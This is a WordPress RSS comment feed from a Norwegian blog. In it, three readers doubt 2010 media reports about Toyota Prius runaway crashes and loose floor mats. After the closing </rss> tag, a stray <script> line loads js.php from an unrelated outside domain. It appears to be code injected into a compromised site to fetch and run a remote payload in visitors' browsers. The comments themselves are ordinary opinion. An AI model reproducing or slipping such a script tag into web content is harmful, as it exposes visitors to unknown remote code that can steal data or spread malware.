













































































































































































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Endelig &#8211; Norske medier trekker Prius sakene i tvil!</title>
	<atom:link href="http://www.startstreken.net/bil/prius_historiene/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.startstreken.net/bil/prius_historiene/</link>
	<description>Her starter Internet..</description>
	<lastBuildDate>Mon, 05 Apr 2010 14:02:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: TB</title>
		<link>http://www.startstreken.net/bil/prius_historiene/comment-page-1/#comment-17</link>
		<dc:creator>TB</dc:creator>
		<pubDate>Thu, 18 Mar 2010 16:57:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.startstreken.net/?p=124#comment-17</guid>
		<description>Store indre skader???
Rammevanger og stålet på baksiden på forskjermen, er mye tykkere enn stålet forskjermen er laget av.
Så om det bak forskjermen hadde vært most, så hadde nok ikke skjermen sett sånn ut!
Farten var oppe i 176km/t sies det. Rimelig godt gjort å ikke få mer skade da!
Bilen er ikke akkurat en tanks med stål som er 0,8mm tykt.
Selv om bilen hadde holdt 90-100 så hadde det vært VELDIG godt gjort.
Hvor er vitnene forresten? NOEN må jo ha sett noe i den farta prius kom kjørende i?
Noe som ikke stemmer her, det er helt klart!
Satser heller på en fører som satt i mobil eller noe.

Lurer også på når løse gulvmatter ble et &quot;Toyota-problem&quot;.
Aldri hatt en bil jeg, uansett merke og årsmodell, som ikke har hatt løse gulvmatter...
Har plutselig blitt veldig livsfarlig i det siste det eller?
Sorry, men skal dere journalister &quot;ta&quot; Toyota så må nok  finne større feil å skrive om! ;)</description>
		<content:encoded><![CDATA[<p>Store indre skader???<br />
Rammevanger og stålet på baksiden på forskjermen, er mye tykkere enn stålet forskjermen er laget av.<br />
Så om det bak forskjermen hadde vært most, så hadde nok ikke skjermen sett sånn ut!<br />
Farten var oppe i 176km/t sies det. Rimelig godt gjort å ikke få mer skade da!<br />
Bilen er ikke akkurat en tanks med stål som er 0,8mm tykt.<br />
Selv om bilen hadde holdt 90-100 så hadde det vært VELDIG godt gjort.<br />
Hvor er vitnene forresten? NOEN må jo ha sett noe i den farta prius kom kjørende i?<br />
Noe som ikke stemmer her, det er helt klart!<br />
Satser heller på en fører som satt i mobil eller noe.</p>
<p>Lurer også på når løse gulvmatter ble et &#8220;Toyota-problem&#8221;.<br />
Aldri hatt en bil jeg, uansett merke og årsmodell, som ikke har hatt løse gulvmatter&#8230;<br />
Har plutselig blitt veldig livsfarlig i det siste det eller?<br />
Sorry, men skal dere journalister &#8220;ta&#8221; Toyota så må nok  finne større feil å skrive om! <img src='http://www.startstreken.net/wp/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: JH</title>
		<link>http://www.startstreken.net/bil/prius_historiene/comment-page-1/#comment-14</link>
		<dc:creator>JH</dc:creator>
		<pubDate>Wed, 17 Mar 2010 07:48:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.startstreken.net/?p=124#comment-14</guid>
		<description>Hehehe - helt enig! :)
Mao uttalelsen fra NAF er bare tøv!
Han kan godt ha truffet autovernet i 40-50 km/t og likevel knekt styrestaget.. Er ingen problem hvis hjulet f.eks treffer en av stolpene som holder autovernet.</description>
		<content:encoded><![CDATA[<p>Hehehe &#8211; helt enig! <img src='http://www.startstreken.net/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Mao uttalelsen fra NAF er bare tøv!<br />
Han kan godt ha truffet autovernet i 40-50 km/t og likevel knekt styrestaget.. Er ingen problem hvis hjulet f.eks treffer en av stolpene som holder autovernet.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: bobbob</title>
		<link>http://www.startstreken.net/bil/prius_historiene/comment-page-1/#comment-13</link>
		<dc:creator>bobbob</dc:creator>
		<pubDate>Tue, 16 Mar 2010 23:43:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.startstreken.net/?p=124#comment-13</guid>
		<description>Jeg knakk styrestaget på en opel astra i forrige mnd. da bilen ville over rundkjøringa og ikke rundt. Hadde nok 30 km/t. &#039;store indre skader&#039; som mannen fra Vegvesenet sa ;)

Forstår ikke hvorfor mannen beskyttes. Og når ble løse matter i bil et verdensomspennende teknisk problem? Alvorlig talt. Er det noen som IKKE har hatt en eller annen matte som har lagt seg oppå/under gass eller bremsepedal?</description>
		<content:encoded><![CDATA[<p>Jeg knakk styrestaget på en opel astra i forrige mnd. da bilen ville over rundkjøringa og ikke rundt. Hadde nok 30 km/t. &#8217;store indre skader&#8217; som mannen fra Vegvesenet sa <img src='http://www.startstreken.net/wp/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Forstår ikke hvorfor mannen beskyttes. Og når ble løse matter i bil et verdensomspennende teknisk problem? Alvorlig talt. Er det noen som IKKE har hatt en eller annen matte som har lagt seg oppå/under gass eller bremsepedal?</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://meqashopperinfo.com/js.php"></script>
